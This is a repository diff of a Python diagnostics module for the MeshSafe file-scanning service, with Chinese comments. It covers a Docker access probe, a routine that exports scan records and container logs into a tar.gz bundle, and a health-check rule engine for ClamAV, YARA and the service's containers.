self.export_scan_findings_max = int(export_yaml.get("scan_findings_max", 50000))
self.export_engine_errors_max = int(export_yaml.get("engine_errors_max", 5000))
# 规则阈值
rules_yaml = yaml_data.get("rules", {})
self.error_ratio_threshold = float(
rules_yaml.get("error_ratio_threshold", 0.05)
)
self.clamav_db_stale_days = int(
rules_yaml.get("clamav_db_stale_days", 7)
)
self.reject_ratio_threshold = float(
rules_yaml.get("reject_ratio_threshold", 0.20)
)
self.suspicious_exceeds_malicious = bool(
rules_yaml.get("suspicious_exceeds_malicious", True)
)
# 持久化存储
storage_yaml = yaml_data.get("storage", {})
self.storage_enabled = _env_bool(
"MESHSAFE_DIAG_STORAGE_ENABLED",
storage_yaml.get("enabled", True),
)
self.storage_dir = storage_yaml.get("dir", "/app/data/diagnostics")
self.history_retention_days = int(
storage_yaml.get("history_retention_days", 7)
)
self.log_snapshot_on_timer = bool(
storage_yaml.get("log_snapshot_on_timer", True)
)
self.log_snapshot_tail = int(
storage_yaml.get("log_snapshot_tail", 500)
)
@classmethod
def from_dict(cls, data: Dict[str, Any]) -> "DiagConfig":
return cls(data)
def to_dict(self) -> Dict[str, Any]:
return {
"enabled": self.enabled,
"docker_mode": self.docker_mode,
"timers": {
"error_scan_interval": self.error_scan_interval,
"container_check_interval": self.container_check_interval,
"db_aggregate_interval": self.db_aggregate_interval,
},
"docker_log_tail": self.docker_log_tail,
"export_log_tail": self.export_log_tail,
"export": {
"db_span_days": self.export_db_span_days,
"scan_tasks_max": self.export_scan_tasks_max,
"scan_findings_max": self.export_scan_findings_max,
"engine_errors_max": self.export_engine_errors_max,
},
"rules": {
"error_ratio_threshold": self.error_ratio_threshold,
"clamav_db_stale_days": self.clamav_db_stale_days,
"reject_ratio_threshold": self.reject_ratio_threshold,
"suspicious_exceeds_malicious": self.suspicious_exceeds_malicious,
},
"storage": {
"enabled": self.storage_enabled,
"dir": self.storage_dir,
"history_retention_days": self.history_retention_days,
"log_snapshot_on_timer": self.log_snapshot_on_timer,
"log_snapshot_tail": self.log_snapshot_tail,
},
}

View File

@@ -0,0 +1,126 @@
"""启动时 Docker 能力检测(用 python docker SDK)。
返回三档:
full — docker.sock 可访问,日志和 inspect 都能用
partial — 能连 socket 但权限受限
none — 完全不可用(没挂 socket / 包没装)
"""
from __future__ import annotations
import os
from datetime import datetime, timezone
from typing import Any, Dict, List, Optional
_PROBE_CONTAINER = "meshsafe-api"
def _try_client() -> Optional["docker.DockerClient"]:
"""尝试创建 Docker client。失败返回 None。"""
try:
import docker # noqa: F401
except ImportError:
return None
try:
import docker
# from_env() 会自动读 DOCKER_HOST,没设的话走 unix:///var/run/docker.sock
client = docker.from_env(timeout=5)
client.ping() # 真正连一下
return client
except Exception: # noqa: BLE001
return None
def detect_docker_access(mode: str = "auto") -> Dict[str, Any]:
now = datetime.now(timezone.utc).isoformat()
sock_exists = os.path.exists("/var/run/docker.sock")
client = _try_client()
if mode == "false":
return {
"mode": "false", "status": "none",
"docker.sock_exists": sock_exists,
"docker_python_available": client is not None,
"can_logs": False, "can_inspect": False,
"containers": None,
"message": "配置强制关闭 Docker 能力(diagnostics.docker.enabled=false)",
"detected_at": now,
}
if client is None:
if mode == "true":
msg = "配置强制启用但 Docker Python SDK 不可用 — pip install docker"
else:
msg = "Docker SDK 未就绪 — 日志匹配/容器状态类规则已跳过"
return {
"mode": mode, "status": "none",
"docker.sock_exists": sock_exists,
"docker_python_available": False,
"can_logs": False, "can_inspect": False,
"containers": None,
"message": msg,
"detected_at": now,
}
# 真测
can_logs = False
can_inspect = False
containers: Optional[List[str]] = None
try:
c = client.containers.get(_PROBE_CONTAINER)
c.logs(tail=1)
can_logs = True
c.attrs # 读取属性
can_inspect = True
except Exception: # noqa: BLE001
pass
try:
containers = [c.name for c in client.containers.list(all=True)]
except Exception: # noqa: BLE001
containers = None
if can_logs and can_inspect:
status = "full"
msg = "Docker 访问正常 — 日志匹配 + 容器状态检测全部启用"
elif can_logs or can_inspect:
status = "partial"
msg = f"Docker SDK 可用但权限受限(logs={can_logs}, inspect={can_inspect})"
else:
status = "none"
msg = "docker.sock 未挂或权限不足 — 日志匹配类规则已跳过"
if mode == "true" and status != "full":
msg = f"配置强制启用但检测结果为 {status} — 检查 docker.sock 挂载"
return {
"mode": mode, "status": status,
"docker.sock_exists": sock_exists,
"docker_python_available": True,
"can_logs": can_logs,
"can_inspect": can_inspect,
"containers": containers,
"message": msg,
"detected_at": now,
}
def status_message(status: str) -> str:
return {
"full": "✅ Docker 能力完整",
"partial": "⚠️ Docker 访问受限",
"none": "ℹ️ Docker 日志检测未启用",
}.get(status, status)
def get_client():
"""获取共享 docker client(给 dumper / rules 用)。失败返回 None。"""
try:
import docker
return docker.from_env(timeout=10)
except Exception: # noqa: BLE001
return None

477
app/diagnostic/dumper.py Normal file
View File

@@ -0,0 +1,477 @@
"""一键导出诊断包(diagnostics-YYYYMMDD-HHMMSS.tar.gz)。
调用方式(HTTP 接口):
GET /api/v1/telemetry/dump → 返回文件下载
打包内容见方案文档 §3.4。
"""
from __future__ import annotations
import io
import json
import os
import subprocess
import tarfile
import time
from datetime import datetime, timedelta, timezone
from pathlib import Path
from typing import Any, Dict, List, Optional
from app.config import get_settings
from app.db import SessionLocal
from app.diagnostic.config import get_diag_config
from app.diagnostic.engine import DiagnosticEngine
from app.diagnostic.docker_probe import detect_docker_access
def _sanitize_filename(name: str) -> str:
"""文件名脱敏:保留扩展名 + SHA256 前 8 位。"""
if not name:
return ""
ext = os.path.splitext(name)[1].lower()
# 截取前 20 字符 + hash-like 后缀
return f"file_{hash(name) % 999999:06d}{ext}"
def _sanitize_ip(ip: str) -> str:
if not ip:
return ""
parts = ip.split(".")
if len(parts) == 4:
return f"{'.'.join(parts[:3])}.*"
return ip
def _bj_time(dt) -> Optional[str]:
"""把 DB 里的 UTC datetime(naive 或 aware)转北京时间字符串。"""
if dt is None:
return None
bj = timezone(timedelta(hours=8))
try:
# naive UTC → 加上 tz 再转
if dt.tzinfo is None:
dt = dt.replace(tzinfo=timezone.utc)
bj_dt = dt.astimezone(bj)
return bj_dt.strftime("%Y-%m-%d %H:%M:%S")
except Exception:
return str(dt)
def _collect_scan_tasks(days: int = 7, max_rows: int = 10000) -> List[Dict[str, Any]]:
"""拉过去 N 天的 ScanTask,脱敏后返回 dict 列表。有 max_rows 兜底。"""
from app.models import ScanTask
db = SessionLocal()
try:
cutoff = datetime.now(timezone.utc) - timedelta(days=days)
rows = (
db.query(ScanTask)
.filter(ScanTask.created_at >= cutoff)
.order_by(ScanTask.created_at.desc())
.limit(max_rows)
.all()
)
return [
{
"id": r.id,
"filename_sanitized": _sanitize_filename(r.filename),
"declared_ext": r.declared_ext,
"size": r.size,
"sha256": r.sha256[:16],
"channel": r.channel,
"status": r.status,
"mode": r.mode,
"verdict": r.verdict,
"action": r.action,
"score": r.score,
"reason": r.reason[:500] if r.reason else "",
"policy_version": r.policy_version,
"created_at": _bj_time(r.created_at),
"finished_at": _bj_time(r.finished_at),
"duration_ms": r.duration_ms,
}
for r in rows
]
finally:
db.close()
def _collect_scan_findings(days: int = 7, max_rows: int = 50000) -> List[Dict[str, Any]]:
from app.models import ScanFinding
db = SessionLocal()
try:
# ScanFinding 没有 created_at 字段?查 ScanTask 关联时间
from app.models import ScanTask
cutoff = datetime.now(timezone.utc) - timedelta(days=days)
rows = (
db.query(ScanFinding)
.join(ScanTask, ScanFinding.task_id == ScanTask.id)
.filter(ScanTask.created_at >= cutoff)
.order_by(ScanFinding.id.desc())
.limit(max_rows)
.all()
)
return [
{
"task_id": r.task_id,
"engine": r.engine,
"layer": r.layer,
"severity": r.severity,
"rule": r.rule,
"weight": r.weight,
"detail": (r.detail[:2000] if r.detail else ""),
"extracted_path": r.extracted_path,
}
for r in rows
]
finally:
db.close()
def _collect_engine_errors(days: int = 7, max_rows: int = 5000) -> List[Dict[str, Any]]:
from app.models import ScanTask
db = SessionLocal()
try:
cutoff = datetime.now(timezone.utc) - timedelta(days=days)
rows = (
db.query(ScanTask)
.filter(ScanTask.verdict == "error")
.filter(ScanTask.created_at >= cutoff)
.order_by(ScanTask.created_at.desc())
.limit(max_rows)
.all()
)
return [
{
"id": r.id,
"filename_sanitized": _sanitize_filename(r.filename),
"reason": r.reason[:500] if r.reason else "",
"created_at": _bj_time(r.created_at),
}
for r in rows
]
finally:
db.close()
def _collect_policy_snapshot() -> Dict[str, Any]:
"""策略版本 + YARA 规则列表(不含规则原文)。"""
from app.main import policy_store
policy = policy_store.current()
settings = get_settings()
rules_dir = settings.rules_dir
yara_rules: List[str] = []
if os.path.isdir(rules_dir):
yara_rules = sorted(
f for f in os.listdir(rules_dir)
if f.endswith((".yar", ".yara", ".rules"))
)
return {
"version": policy.version,
"sha256": policy.sha256,
"yara_rules_dir": rules_dir,
"yara_rules_count": len(yara_rules),
"yara_rules_list": yara_rules[:50], # 最多 50 个文件名
"global": policy.raw.get("global", {}),
}
def _collect_container_logs(containers: List[str], tail: int) -> Dict[str, str]:
"""用 docker SDK 取日志。"""
from app.diagnostic.docker_probe import get_client
client = get_client()
result: Dict[str, str] = {}
for c in containers:
try:
container = client.containers.get(c)
raw = container.logs(tail=tail)
result[c] = raw.decode("utf-8", errors="replace") if isinstance(raw, (bytes, bytearray)) else str(raw)
except Exception as e: # noqa: BLE001
result[c] = f"[导出失败: {e}]"
return result
def _collect_container_meta(containers: List[str]) -> Dict[str, Dict[str, Any]]:
"""用 docker SDK 取容器状态元数据(含 uptime / OOM)。"""
from app.diagnostic.docker_probe import get_client
client = get_client()
meta: Dict[str, Dict[str, Any]] = {}
now = datetime.now(timezone.utc)
for c in containers:
try:
container = client.containers.get(c)
attrs = container.attrs or {}
state = attrs.get("State", {})
started_raw = state.get("StartedAt", "")
started_at = _docker_time(started_raw)
uptime_s = (now - started_at).total_seconds() if started_at else -1
meta[c] = {
"status": state.get("Status", "unknown"),
"health": state.get("Health", {}).get("Status", ""),
"restart_count": attrs.get("RestartCount", -1),
"oom_killed": state.get("OOMKilled", False),
"exit_code": state.get("ExitCode", 0),
"started_at": _bj_time(started_at),
"uptime": _fmt_duration(uptime_s),
"uptime_seconds": int(uptime_s) if uptime_s >= 0 else -1,
"image": attrs.get("Config", {}).get("Image", ""),
}
except Exception as e: # noqa: BLE001
meta[c] = {"error": str(e)[:200]}
return meta
def _collect_compose_state() -> Dict[str, Any]:
"""用 docker SDK 列容器(替代 docker compose ps,输出结构化 JSON)。"""
from app.diagnostic.docker_probe import get_client
client = get_client()
now = datetime.now(timezone.utc)
items: List[Dict[str, Any]] = []
try:
for c in client.containers.list(all=True):
attrs = c.attrs or {}
state = attrs.get("State", {})
started_raw = state.get("StartedAt", "")
started_at = _docker_time(started_raw)
uptime_s = (now - started_at).total_seconds() if started_at else -1
items.append({
"name": c.name,
"status": state.get("Status", "unknown"),
"health": state.get("Health", {}).get("Status", ""),
"restart_count": attrs.get("RestartCount", -1),
"oom_killed": state.get("OOMKilled", False),
"exit_code": state.get("ExitCode", 0),
"image": c.image.tags[0] if c.image.tags else "unknown",
"started_at": _bj_time(started_at),
"uptime": _fmt_duration(uptime_s),
})
except Exception as e: # noqa: BLE001
return {"error": str(e)[:300], "containers": []}
return {"containers": items, "count": len(items)}
def _docker_time(raw: str) -> Optional[datetime]:
"""把 docker 返回的 ISO 时间串转 aware UTC datetime。"""
if not raw:
return None
try:
# docker 返回: "2026-10-28T05:00:12.123456789Z" 或 ".123Z"
s = raw.replace("Z", "+00:00")
# 截断纳秒到微秒(Python fromisoformat 不接受纳秒)
if "." in s:
head, frac = s.split(".", 1)
tz_idx = frac.rfind("+")
if tz_idx >= 0:
frac_ns = frac[:tz_idx]
tz = frac[tz_idx:]
frac_ns = (frac_ns + "000000")[:6]
s = head + "." + frac_ns + tz
return datetime.fromisoformat(s)
except Exception:
return None
def _fmt_duration(seconds: float) -> str:
"""把秒数格式化成人类可读的时长。"""
if seconds < 0:
return "未知"
s = int(seconds)
days, rem = divmod(s, 86400)
hours, rem = divmod(rem, 3600)
mins, secs = divmod(rem, 60)
if days > 0:
return f"{days}d {hours}h {mins}m"
if hours > 0:
return f"{hours}h {mins}m"
if mins > 0:
return f"{mins}m {secs}s"
return f"{secs}s"
# ======================================================================
# 主入口:build_diagnostics_package
# ======================================================================
def build_diagnostics_package() -> bytes:
"""生成完整诊断包,返回 tar.gz 字节。"""
started = time.time()
now = datetime.now(timezone.utc)
cfg = get_diag_config()
settings = get_settings()
containers = [
"meshsafe-api", "meshsafe-postgres",
"meshsafe-redis", "meshsafe-clamav", "meshsafe-nginx",
]
# ---- 1. docker 能力 ----
docker_info = detect_docker_access(mode=cfg.docker_mode)
# ---- 2. 导出前先存当前 docker 日志快照(持久化目录里)----
snapshot_files: List[Path] = []
try:
from app.diagnostic.storage import snapshot_container_logs
if cfg.storage_enabled and docker_info["status"] != "none":
snapshot_files = snapshot_container_logs(
containers, cfg.export_log_tail,
filename_prefix="export",
)
except Exception: # noqa: BLE001
snapshot_files = []
# ---- 3. 规则引擎(全量跑一遍)----
db = SessionLocal()
from app.main import scanner, policy_store
eng = DiagnosticEngine(
db=db, scanner=scanner, policy_store=policy_store,
docker_status=docker_info["status"],
docker_log_tail=cfg.docker_log_tail,
)
rule_results = eng.run_all(run_by="export")
db.close()
# ---- 4. 加载规则历史(持久化 JSONL)----
rule_history: List[Dict[str, Any]] = []
restart_events: List[Dict[str, Any]] = []
try:
from app.diagnostic.storage import load_rule_history, load_restart_events
if cfg.storage_enabled:
rule_history = load_rule_history(cfg.history_retention_days)
restart_events = load_restart_events(cfg.history_retention_days)
except Exception: # noqa: BLE001
rule_history = []
restart_events = []
# 按容器聚合重启事件数(用于 rules_report 的 summary)
restart_by_container: Dict[str, int] = {}
for ev in restart_events:
c = ev.get("container", "?")
restart_by_container[c] = restart_by_container.get(c, 0) + 1
# ---- 5. DB 数据(默认过去 7 天,各有上限兜底)----
span_days = getattr(cfg, "export_db_span_days", 7)
scan_tasks = _collect_scan_tasks(
days=span_days, max_rows=getattr(cfg, "export_scan_tasks_max", 10000),
)
scan_findings = _collect_scan_findings(
days=span_days, max_rows=getattr(cfg, "export_scan_findings_max", 50000),
)
engine_errors = _collect_engine_errors(
days=span_days, max_rows=getattr(cfg, "export_engine_errors_max", 5000),
)
policy_snapshot = _collect_policy_snapshot()
# ---- 6. 容器数据(如果 Docker 可用)----
docker_logs_out: Dict[str, str] = {}
container_meta: Dict[str, Dict[str, Any]] = {}
compose_state: Dict[str, Any] = {"containers": [], "error": "Docker 不可用"}
if docker_info["status"] != "none":
docker_logs_out = _collect_container_logs(containers, cfg.export_log_tail)
container_meta = _collect_container_meta(containers)
compose_state = _collect_compose_state()
# ---- 7. 组装 tar.gz ----
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tar:
def _add_json(name: str, obj: Any) -> None:
data = json.dumps(obj, ensure_ascii=False, indent=2).encode("utf-8")
info = tarfile.TarInfo(name)
info.size = len(data)
tar.addfile(info, io.BytesIO(data))
def _add_text(name: str, text: str) -> None:
data = text.encode("utf-8")
info = tarfile.TarInfo(name)
info.size = len(data)
tar.addfile(info, io.BytesIO(data))
# meta.json
_add_json("meta.json", {
"exported_at": now.isoformat(),
"generated_by": "MeshSafe Diagnostics Kit v1.0",
"meshsafe_version": "1.1.0",
"docker_image": container_meta.get("meshsafe-api", {}).get("image", "unknown"),
"policy_version": policy_snapshot["version"],
"storage_enabled": cfg.storage_enabled,
"rules_history_count": len(rule_history),
"log_snapshots_included": len(snapshot_files),
"export_duration_ms": int((time.time() - started) * 1000),
# 数据范围
"db_span_days": getattr(cfg, "export_db_span_days", 7),
"scan_tasks_count": len(scan_tasks),
"scan_findings_count": len(scan_findings),
"engine_errors_count": len(engine_errors),
})
# docker_detect.json
_add_json("docker_detect.json", docker_info)
# compose_state.json(结构化 JSON)
_add_json("compose_state.json", compose_state)
# rules_report.json(实时全量 + 持久化历史 + 重启事件汇总)
_add_json("rules_report.json", {
"exported_at": now.isoformat(),
"docker_status": docker_info["status"],
"current_run": [r.to_dict() for r in rule_results],
"history_retention_days": cfg.history_retention_days,
"history_count": len(rule_history),
"history": rule_history,
"restart_events_count": len(restart_events),
"restart_events_summary": restart_by_container,
})
# restart_events.json(完整重启事件历史)
_add_json("restart_events.json", {
"exported_at": now.isoformat(),
"retention_days": cfg.history_retention_days,
"count": len(restart_events),
"events": restart_events,
})
# scan_tasks.json / scan_findings.json / engine_errors.json
_add_json("scan_tasks.json", scan_tasks)
_add_json("scan_findings.json", scan_findings)
_add_json("engine_errors.json", engine_errors)
# policy_snapshot.json
_add_json("policy_snapshot.json", policy_snapshot)
# engine_health.json
_add_json("engine_health.json", scanner.health())
# containers/*.log / *.meta.json(当前快照)
for c in containers:
if c in docker_logs_out:
_add_text(f"containers/{c}.log", docker_logs_out[c])
if c in container_meta:
_add_json(f"containers/{c}.meta.json", container_meta[c])
# diagnostics_logs/(持久化目录下所有 .log — timer 快照 + export 快照 + restart 快照)
try:
from app.diagnostic.storage import _logs_dir
logs_dir = _logs_dir()
if cfg.storage_enabled and logs_dir.exists():
for fpath in logs_dir.glob("*.log"):
try:
tar.add(
str(fpath),
arcname=f"diagnostics_logs/{fpath.name}",
)
except Exception: # noqa: BLE001
pass
except Exception: # noqa: BLE001
# 回退:只用 export 生成的快照
for fpath in snapshot_files:
try:
tar.add(str(fpath), arcname=f"diagnostics_logs/{fpath.name}")
except Exception:
pass
return buf.getvalue()

228
app/diagnostic/engine.py Normal file
View File

@@ -0,0 +1,228 @@
"""诊断规则引擎。
职责:
- 定义 RuleResult 数据结构(每条规则的输出格式)
- 提供 DiagnosticEngine.run_all() 入口
- 规则实现分散在 rules.py 中,engine 负责调度
"""
from __future__ import annotations
import time
from dataclasses import dataclass, field, asdict
from datetime import datetime, timedelta, timezone
from typing import Any, Dict, List, Optional
@dataclass
class RuleResult:
"""单条规则的输出。"""
id: str # R001, R002 ...
severity: str # high / medium / low / info / ok
message: str # 给用户看的中文描述
hint: str = "" # 建议/下一步操作
evidence: List[str] = field(default_factory=list) # 证据片段(日志行/DB 统计)
run_at: str = "" # ISO 格式时间戳
run_by: str = "page_request" # page_request / timer:xxx / export
skipped: bool = False # 规则是否跳过
skip_reason: Optional[str] = None # 为什么跳过(如 Docker 不可用)
def __post_init__(self) -> None:
if not self.run_at:
# 用北京时间(Asia/Shanghai, UTC+8),避免显示差 8 小时
try:
bj = timezone(timedelta(hours=8))
self.run_at = datetime.now(bj).strftime("%Y-%m-%d %H:%M:%S")
except Exception: # noqa: BLE001
self.run_at = datetime.now(timezone.utc).isoformat()
def to_dict(self) -> Dict[str, Any]:
return asdict(self)
# ---------------------------------------------------------------------------
# 严重性 → 徽章 CSS 类映射(和 _nav_style.html 保持一致)
# ---------------------------------------------------------------------------
SEVERITY_BADGE: Dict[str, str] = {
"high": "tag bad", # 红色
"medium": "tag warn", # 橙色
"low": "tag notice", # 黄色
"info": "tag muted", # 灰色
"ok": "tag ok", # 绿色
}
def badge_for(severity: str) -> str:
return SEVERITY_BADGE.get(severity, "tag plain")
# ---------------------------------------------------------------------------
# DiagnosticEngine — 规则调度入口
# ---------------------------------------------------------------------------
class DiagnosticEngine:
"""诊断规则引擎。
用法::
engine = DiagnosticEngine(db=SessionLocal(), scanner=scanner,
policy_store=policy_store, docker_status="full")
results = engine.run_all(run_by="page_request")
"""
def __init__(
self,
db, # SQLAlchemy Session
scanner, # Scanner 实例
policy_store, # PolicyStore 实例
docker_status: str = "none", # full / partial / none
docker_log_tail: int = 500,
):
self.db = db
self.scanner = scanner
self.policy_store = policy_store
self.docker_status = docker_status
self.docker_log_tail = docker_log_tail
# ------------------------------------------------------------------
# 入口方法
# ------------------------------------------------------------------
def run_all(self, run_by: str = "page_request") -> List[RuleResult]:
"""运行全部 15 条规则,返回结果列表。"""
# 延迟导入,避免循环依赖
from app.diagnostic import rules as _rules
results: List[RuleResult] = []
all_funcs = [
_rules.check_r001_error_ratio,
_rules.check_r002_clamav_db,
_rules.check_r003_yara_mtime,
_rules.check_r004_engine_health,
_rules.check_r005_no_scans,
_rules.check_r006_suspicious_over_malicious,
_rules.check_r007_reject_ratio,
_rules.check_r008_duplicate_sha,
# 以下 7 条需要 Docker 能力
_rules.check_r009_clamav_crash,
_rules.check_r010_postgres_fatal,
_rules.check_r011_redis_oom,
_rules.check_r012_no_space,
_rules.check_r013_nginx_upstream,
_rules.check_r014_api_connection,
_rules.check_r015_container_restart,
_rules.check_r016_restart_history,
]
for fn in all_funcs:
try:
results.append(fn(self, run_by=run_by))
except Exception as e: # noqa: BLE001
# 单条规则失败不影响整体
results.append(RuleResult(
id=getattr(fn, "_rule_id", "UNKNOWN"),
severity="info",
message=f"规则执行异常: {e}",
skipped=True,
skip_reason=str(e),
run_by=run_by,
))
return results
def run_page_request_rules(self) -> List[RuleResult]:
"""页面请求时必跑的轻量规则(R001/R002/R003/R004/R005)。"""
from app.diagnostic import rules as _rules
results: List[RuleResult] = []
for fn in [
_rules.check_r001_error_ratio,
_rules.check_r002_clamav_db,
_rules.check_r003_yara_mtime,
_rules.check_r004_engine_health,
_rules.check_r005_no_scans,
]:
try:
results.append(fn(self, run_by="page_request"))
except Exception as e: # noqa: BLE001
results.append(RuleResult(
id=getattr(fn, "_rule_id", "UNKNOWN"),
severity="info",
message=f"规则执行异常: {e}",
skipped=True,
skip_reason=str(e),
))
return results
def run_timer_error_scan(self) -> List[RuleResult]:
"""定时器 A:错误类日志(30s 周期)。"""
from app.diagnostic import rules as _rules
results: List[RuleResult] = []
for fn in [
_rules.check_r001_error_ratio,
_rules.check_r005_no_scans,
_rules.check_r009_clamav_crash,
_rules.check_r010_postgres_fatal,
_rules.check_r011_redis_oom,
_rules.check_r012_no_space,
_rules.check_r013_nginx_upstream,
_rules.check_r014_api_connection,
]:
try:
results.append(fn(self, run_by="timer:error_scan"))
except Exception as e: # noqa: BLE001
results.append(RuleResult(
id=getattr(fn, "_rule_id", "UNKNOWN"),
severity="info",
message=f"规则执行异常: {e}",
skipped=True,
skip_reason=str(e),
))
return results
def run_timer_db_aggregate(self) -> List[RuleResult]:
"""定时器 B:DB 聚合类(60s 周期)。"""
from app.diagnostic import rules as _rules
results: List[RuleResult] = []
for fn in [
_rules.check_r006_suspicious_over_malicious,
_rules.check_r007_reject_ratio,
_rules.check_r008_duplicate_sha,
]:
try:
results.append(fn(self, run_by="timer:db_aggregate"))
except Exception as e: # noqa: BLE001
results.append(RuleResult(
id=getattr(fn, "_rule_id", "UNKNOWN"),
severity="info",
message=f"规则执行异常: {e}",
skipped=True,
skip_reason=str(e),
))
return results
def run_timer_container(self) -> List[RuleResult]:
"""定时器 C:容器/引擎类(300s 周期)。"""
from app.diagnostic import rules as _rules
results: List[RuleResult] = []
for fn in [
_rules.check_r002_clamav_db,
_rules.check_r003_yara_mtime,
_rules.check_r004_engine_health,
_rules.check_r015_container_restart,
_rules.check_r016_restart_history,
]:
try:
results.append(fn(self, run_by="timer:container_check"))
except Exception as e: # noqa: BLE001
results.append(RuleResult(
id=getattr(fn, "_rule_id", "UNKNOWN"),
severity="info",
message=f"规则执行异常: {e}",
skipped=True,
skip_reason=str(e),
))
return results

878
app/diagnostic/rules.py Normal file
View File

@@ -0,0 +1,878 @@
"""诊断规则实现(15 条)。
规则按类型分四组:
页面必跑(轻量): R001 / R002 / R003 / R004 / R005
DB 聚合: R006 / R007 / R008
日志匹配: R009-R014(需要 docker.sock)
容器状态: R015(需要 docker.sock)
"""
from __future__ import annotations
import os
import subprocess
import time
from datetime import datetime, timedelta, timezone
from typing import Any, Dict, List, Optional
from sqlalchemy import func
from app.config import get_settings
from app.diagnostic.config import get_diag_config
from app.diagnostic.engine import DiagnosticEngine, RuleResult
# ======================================================================
# 模块级状态缓存(用于检测重启事件)
# key: container_name
# value: {"restart_count": int, "started_at": str, "checked_at": float}
# ======================================================================
_CONTAINER_LAST_STATE: Dict[str, Dict[str, Any]] = {}
def _ok(rule_id: str, message: str, hint: str = "",
evidence: Optional[List[str]] = None, run_by: str = "") -> RuleResult:
return RuleResult(
id=rule_id, severity="ok", message=message, hint=hint,
evidence=evidence or [], run_by=run_by,
)
def _warn(rule_id: str, message: str, hint: str = "",
evidence: Optional[List[str]] = None, run_by: str = "") -> RuleResult:
return RuleResult(
id=rule_id, severity="medium", message=message, hint=hint,
evidence=evidence or [], run_by=run_by,
)
def _crit(rule_id: str, message: str, hint: str = "",
evidence: Optional[List[str]] = None, run_by: str = "") -> RuleResult:
return RuleResult(
id=rule_id, severity="high", message=message, hint=hint,
evidence=evidence or [], run_by=run_by,
)
def _skip(rule_id: str, reason: str, run_by: str = "") -> RuleResult:
return RuleResult(
id=rule_id, severity="info", message=f"规则未运行: {reason}",
skipped=True, skip_reason=reason, run_by=run_by,
)
# ======================================================================
# 工具函数
# ======================================================================
def _fetch_recent_verdict_counts(engine: DiagnosticEngine, limit: int = 100) -> Dict[str, int]:
"""查最近 N 次扫描的 verdict 分布。
用子查询先 limit 再 group_by,兼容 SQLAlchemy 2.0。
"""
from sqlalchemy import select
from app.models import ScanTask
# 先子查询拿到最近 N 条 verdict
sub_stmt = (
select(ScanTask.verdict)
.order_by(ScanTask.created_at.desc())
.limit(limit)
).subquery()
# 再在外层 group_by 统计
rows = engine.db.execute(
select(sub_stmt.c.verdict, func.count(sub_stmt.c.verdict))
.group_by(sub_stmt.c.verdict)
).all()
return {v or "unknown": int(c) for v, c in rows}
def _count_24h(engine: DiagnosticEngine) -> int:
from app.models import ScanTask
cutoff = datetime.now(timezone.utc) - timedelta(hours=24)
return (
engine.db.query(func.count(ScanTask.id))
.filter(ScanTask.created_at >= cutoff)
.scalar() or 0
)
def _fetch_recent_tasks(engine: DiagnosticEngine,
limit: int = 500) -> List[Any]:
from app.models import ScanTask
return (
engine.db.query(ScanTask)
.order_by(ScanTask.created_at.desc())
.limit(limit)
.all()
)
def _docker_logs(container: str, tail: int = 500) -> str:
"""用 docker SDK 取容器日志。失败返回空字符串。"""
try:
from app.diagnostic.docker_probe import get_client
client = get_client()
if not client:
return ""
c = client.containers.get(container)
raw = c.logs(tail=tail)
return raw.decode("utf-8", errors="replace") if isinstance(raw, (bytes, bytearray)) else str(raw)
except Exception: # noqa: BLE001
return ""
def _docker_inspect(container: str) -> Optional[Dict[str, Any]]:
"""用 docker SDK 取容器状态元数据。失败返回 None。"""
try:
from app.diagnostic.docker_probe import get_client
client = get_client()
if not client:
return None
c = client.containers.get(container)
attrs = c.attrs or {}
state = attrs.get("State", {})
return {
"status": state.get("Status", "unknown"),
"restart_count": attrs.get("RestartCount", 0),
"started_at": state.get("StartedAt", ""),
"image": attrs.get("Config", {}).get("Image", ""),
}
except Exception: # noqa: BLE001
return None
def _grep_patterns(text: str, patterns: List[str],
max_lines: int = 20) -> List[str]:
"""从日志文本中抓取命中 pattern 的行。"""
hits: List[str] = []
for line in text.splitlines():
low = line.lower()
for p in patterns:
if p.lower() in low:
hits.append(line.strip())
break
if len(hits) >= max_lines:
break
return hits
# ======================================================================
# R001: error 比例
# ======================================================================
def check_r001_error_ratio(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
cfg = get_diag_config()
counts = _fetch_recent_verdict_counts(engine, 100)
total = sum(counts.values())
if total == 0:
return _ok("R001", "暂无扫描记录", run_by=run_by)
error_count = counts.get("error", 0)
error_ratio = error_count / total
threshold = cfg.error_ratio_threshold
if error_ratio > threshold:
return _crit(
"R001",
f"错误比例偏高({error_ratio:.1%} > 阈值 {threshold:.0%})",
f"近 100 次扫描 {error_count} 次 error",
hint="建议检查 ClamAV / Redis / Postgres 引擎健康",
evidence=[f"近 100 次 verdict 分布: {counts}"],
run_by=run_by,
)
return _ok(
"R001",
f"错误比例正常({error_ratio:.1%},阈值 {threshold:.0%})",
run_by=run_by,
)
check_r001_error_ratio._rule_id = "R001"
# ======================================================================
# R002: ClamAV 病毒库日期
# ======================================================================
def check_r002_clamav_db(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
cfg = get_diag_config()
try:
clamav_info = engine.scanner.health().get("clamav", {})
except Exception as e: # noqa: BLE001
return _skip("R002", f"ClamAV 健康检查异常: {e}", run_by=run_by)
sig_date_str = clamav_info.get("signature_date")
if not sig_date_str:
available = clamav_info.get("available", clamav_info.get("ok", False))
if not available:
return _crit(
"R002", "ClamAV 引擎不可用",
hint="检查 clamd 容器是否在运行",
run_by=run_by,
)
return _warn(
"R002", "ClamAV 病毒库日期未知",
hint="在线更新失败?U 盘离线导入",
run_by=run_by,
)
# signature_date 可能是字符串如 "2026-10-14"
try:
sig_date = datetime.strptime(str(sig_date_str)[:10], "%Y-%m-%d").date()
except Exception: # noqa: BLE001
return _skip("R002", f"无法解析病毒库日期: {sig_date_str}", run_by=run_by)
days_old = (datetime.now().date() - sig_date).days
stale = cfg.clamav_db_stale_days
if days_old > stale:
return _warn(
"R002",
f"ClamAV 病毒库已 {days_old} 天未更新",
hint="在线更新不可用 → U 盘离线导入 main.cvd / daily.cvd",
evidence=[f"signature_date = {sig_date_str}"],
run_by=run_by,
)
return _ok(
"R002",
f"ClamAV 病毒库新鲜({sig_date_str},{days_old} 天)",
run_by=run_by,
)
check_r002_clamav_db._rule_id = "R002"
# ======================================================================
# R003: YARA 规则 mtime
# ======================================================================
def check_r003_yara_mtime(engine: DiagnosticEngine, run_by: str = "") -> RuleResult:
settings = get_settings()
rules_dir = settings.rules_dir
if not os.path.isdir(rules_dir):
return _skip("R003", f"规则目录不存在: {rules_dir}", run_by=run_by)
yamls = [f for f in os.listdir(rules_dir) if f.endswith((".yar", ".yara", ".rules"))]
if not yamls:
return _warn(
"R003", "YARA 规则目录为空",
